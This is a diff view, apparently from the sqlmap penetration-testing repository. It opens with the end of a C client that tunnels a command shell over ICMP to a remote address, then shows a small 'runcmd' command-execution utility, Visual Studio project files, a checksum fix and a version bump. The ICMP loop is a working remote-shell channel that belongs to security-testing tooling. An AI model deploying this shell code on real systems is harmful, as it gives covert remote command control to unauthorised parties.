out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
} }
} }
} else { } else {
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
} }
break; break;
} }
// send request/receive response // send request/receive response
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
if (status == STATUS_OK) { if (status == STATUS_OK) {
// write data from response back into pipe // write data from response back into pipe
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
} }
blanks = 0; blanks = 0;
} else { } else {
// no reply received or error occured // no reply received or error occured
blanks++; blanks++;
} }
// wait between requests // wait between requests
Sleep(delay); Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks); } while (status == STATUS_OK && blanks < max_blanks);
if (status == STATUS_OK) { if (status == STATUS_OK) {
TerminateProcess(pi.hProcess, 0); TerminateProcess(pi.hProcess, 0);
} }
return 0; return 0;
} }

View file

@ -1,20 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 9.00 Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005 # Visual Studio 2005
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
EndProject EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32 Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32 Release|Win32 = Release|Win32
EndGlobalSection EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE
EndGlobalSection EndGlobalSection
EndGlobal EndGlobal

View file

@ -1,46 +1,46 @@
/* /*
runcmd - a program for running command prompt commands runcmd - a program for running command prompt commands
Copyright (C) 2010 Miroslav Stampar Copyright (C) 2010 Miroslav Stampar
email: miroslav.stampar@gmail.com email: miroslav.stampar@gmail.com
This library is free software; you can redistribute it and/or This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version. version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful, This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details. Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/ */
#include <stdio.h> #include <stdio.h>
#include <windows.h> #include <windows.h>
#include <use_ansi.h> #include <use_ansi.h>
#include "stdafx.h" #include "stdafx.h"
#include <string> #include <string>
using namespace std; using namespace std;
int main(int argc, char* argv[]) int main(int argc, char* argv[])
{ {
FILE *fp; FILE *fp;
string cmd; string cmd;
for( int count = 1; count < argc; count++ ) for( int count = 1; count < argc; count++ )
cmd += " " + string(argv[count]); cmd += " " + string(argv[count]);
fp = _popen(cmd.c_str(), "r"); fp = _popen(cmd.c_str(), "r");
if (fp != NULL) { if (fp != NULL) {
char buffer[BUFSIZ]; char buffer[BUFSIZ];
while (fgets(buffer, sizeof buffer, fp) != NULL) while (fgets(buffer, sizeof buffer, fp) != NULL)
fputs(buffer, stdout); fputs(buffer, stdout);
} }
return 0; return 0;
} }

View file

@ -1,225 +1,225 @@
<?xml version="1.0" encoding="windows-1250"?> <?xml version="1.0" encoding="windows-1250"?>
<VisualStudioProject <VisualStudioProject
ProjectType="Visual C++" ProjectType="Visual C++"
Version="8,00" Version="8,00"
Name="runcmd" Name="runcmd"
ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}" ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
RootNamespace="runcmd" RootNamespace="runcmd"
Keyword="Win32Proj" Keyword="Win32Proj"
> >
<Platforms> <Platforms>
<Platform <Platform
Name="Win32" Name="Win32"
/> />
</Platforms> </Platforms>
<ToolFiles> <ToolFiles>
</ToolFiles> </ToolFiles>
<Configurations> <Configurations>
<Configuration <Configuration
Name="Debug|Win32" Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)" OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)" IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1" ConfigurationType="1"
CharacterSet="1" CharacterSet="1"
> >
<Tool <Tool
Name="VCPreBuildEventTool" Name="VCPreBuildEventTool"
/> />
<Tool <Tool
Name="VCCustomBuildTool" Name="VCCustomBuildTool"
/> />
<Tool <Tool
Name="VCXMLDataGeneratorTool" Name="VCXMLDataGeneratorTool"
/> />
<Tool <Tool
Name="VCWebServiceProxyGeneratorTool" Name="VCWebServiceProxyGeneratorTool"
/> />
<Tool <Tool
Name="VCMIDLTool" Name="VCMIDLTool"
/> />
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
Optimization="0" Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true" MinimalRebuild="true"
BasicRuntimeChecks="3" BasicRuntimeChecks="3"
RuntimeLibrary="0" RuntimeLibrary="0"
UsePrecompiledHeader="2" UsePrecompiledHeader="2"
WarningLevel="3" WarningLevel="3"
Detect64BitPortabilityProblems="true" Detect64BitPortabilityProblems="true"
DebugInformationFormat="4" DebugInformationFormat="4"
/> />
<Tool <Tool
Name="VCManagedResourceCompilerTool" Name="VCManagedResourceCompilerTool"
/> />
<Tool <Tool
Name="VCResourceCompilerTool" Name="VCResourceCompilerTool"
/> />
<Tool <Tool
Name="VCPreLinkEventTool" Name="VCPreLinkEventTool"
/> />
<Tool <Tool
Name="VCLinkerTool" Name="VCLinkerTool"
LinkIncremental="2" LinkIncremental="2"
GenerateDebugInformation="true" GenerateDebugInformation="true"
SubSystem="1" SubSystem="1"
TargetMachine="1" TargetMachine="1"
/> />
<Tool <Tool
Name="VCALinkTool" Name="VCALinkTool"
/> />
<Tool <Tool
Name="VCManifestTool" Name="VCManifestTool"
/> />
<Tool <Tool
Name="VCXDCMakeTool" Name="VCXDCMakeTool"
/> />
<Tool <Tool
Name="VCBscMakeTool" Name="VCBscMakeTool"
/> />
<Tool <Tool
Name="VCFxCopTool" Name="VCFxCopTool"
/> />
<Tool <Tool
Name="VCAppVerifierTool" Name="VCAppVerifierTool"
/> />
<Tool <Tool
Name="VCWebDeploymentTool" Name="VCWebDeploymentTool"
/> />
<Tool <Tool
Name="VCPostBuildEventTool" Name="VCPostBuildEventTool"
/> />
</Configuration> </Configuration>
<Configuration <Configuration
Name="Release|Win32" Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)" OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)" IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1" ConfigurationType="1"
CharacterSet="1" CharacterSet="1"
WholeProgramOptimization="1" WholeProgramOptimization="1"
> >
<Tool <Tool
Name="VCPreBuildEventTool" Name="VCPreBuildEventTool"
/> />
<Tool <Tool
Name="VCCustomBuildTool" Name="VCCustomBuildTool"
/> />
<Tool <Tool
Name="VCXMLDataGeneratorTool" Name="VCXMLDataGeneratorTool"
/> />
<Tool <Tool
Name="VCWebServiceProxyGeneratorTool" Name="VCWebServiceProxyGeneratorTool"
/> />
<Tool <Tool
Name="VCMIDLTool" Name="VCMIDLTool"
/> />
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE" PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="0" RuntimeLibrary="0"
UsePrecompiledHeader="2" UsePrecompiledHeader="2"
WarningLevel="3" WarningLevel="3"
Detect64BitPortabilityProblems="true" Detect64BitPortabilityProblems="true"
DebugInformationFormat="3" DebugInformationFormat="3"
/> />
<Tool <Tool
Name="VCManagedResourceCompilerTool" Name="VCManagedResourceCompilerTool"
/> />
<Tool <Tool
Name="VCResourceCompilerTool" Name="VCResourceCompilerTool"
/> />
<Tool <Tool
Name="VCPreLinkEventTool" Name="VCPreLinkEventTool"
/> />
<Tool <Tool
Name="VCLinkerTool" Name="VCLinkerTool"
LinkIncremental="1" LinkIncremental="1"
GenerateDebugInformation="true" GenerateDebugInformation="true"
SubSystem="1" SubSystem="1"
OptimizeReferences="2" OptimizeReferences="2"
EnableCOMDATFolding="2" EnableCOMDATFolding="2"
TargetMachine="1" TargetMachine="1"
/> />
<Tool <Tool
Name="VCALinkTool" Name="VCALinkTool"
/> />
<Tool <Tool
Name="VCManifestTool" Name="VCManifestTool"
/> />
<Tool <Tool
Name="VCXDCMakeTool" Name="VCXDCMakeTool"
/> />
<Tool <Tool
Name="VCBscMakeTool" Name="VCBscMakeTool"
/> />
<Tool <Tool
Name="VCFxCopTool" Name="VCFxCopTool"
/> />
<Tool <Tool
Name="VCAppVerifierTool" Name="VCAppVerifierTool"
/> />
<Tool <Tool
Name="VCWebDeploymentTool" Name="VCWebDeploymentTool"
/> />
<Tool <Tool
Name="VCPostBuildEventTool" Name="VCPostBuildEventTool"
/> />
</Configuration> </Configuration>
</Configurations> </Configurations>
<References> <References>
</References> </References>
<Files> <Files>
<Filter <Filter
Name="Source Files" Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
> >
<File <File
RelativePath=".\runcmd.cpp" RelativePath=".\runcmd.cpp"
> >
</File> </File>
<File <File
RelativePath=".\stdafx.cpp" RelativePath=".\stdafx.cpp"
> >
<FileConfiguration <FileConfiguration
Name="Debug|Win32" Name="Debug|Win32"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
UsePrecompiledHeader="1" UsePrecompiledHeader="1"
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Release|Win32" Name="Release|Win32"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
UsePrecompiledHeader="1" UsePrecompiledHeader="1"
/> />
</FileConfiguration> </FileConfiguration>
</File> </File>
</Filter> </Filter>
<Filter <Filter
Name="Header Files" Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd" Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
> >
<File <File
RelativePath=".\stdafx.h" RelativePath=".\stdafx.h"
> >
</File> </File>
</Filter> </Filter>
<Filter <Filter
Name="Resource Files" Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav" Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}" UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
> >
</Filter> </Filter>
<File <File
RelativePath=".\ReadMe.txt" RelativePath=".\ReadMe.txt"
> >
</File> </File>
</Files> </Files>
<Globals> <Globals>
</Globals> </Globals>
</VisualStudioProject> </VisualStudioProject>

View file

@ -1,8 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes // stdafx.cpp : source file that includes just the standard includes
// runcmd.pch will be the pre-compiled header // runcmd.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information // stdafx.obj will contain the pre-compiled type information
#include "stdafx.h" #include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H // TODO: reference any additional headers you need in STDAFX.H
// and not in this file // and not in this file

View file

@ -1,17 +1,17 @@
// stdafx.h : include file for standard system include files, // stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but // or project specific include files that are used frequently, but
// are changed infrequently // are changed infrequently
// //
#pragma once #pragma once
#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
#endif #endif
#include <stdio.h> #include <stdio.h>
#include <tchar.h> #include <tchar.h>
// TODO: reference additional headers your program requires here // TODO: reference additional headers your program requires here

View file

@ -5639,10 +5639,9 @@ def checkSums():
continue continue
with open(filepath, "rb") as f: with open(filepath, "rb") as f:
content = f.read() content = f.read()
if b"\r\n" in content and b"sqlmap" in content: if b'\0' not in content:
content = content.replace(b"\r\n", b"\n") content = content.replace(b"\r\n", b"\n")
if not hashlib.sha256(content).hexdigest() == expected: if not hashlib.sha256(content).hexdigest() == expected:
retVal &= False retVal &= False
break
return retVal return retVal

View file

@ -19,7 +19,7 @@ from lib.core.enums import OS
from thirdparty import six from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.1.81" VERSION = "1.10.1.82"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)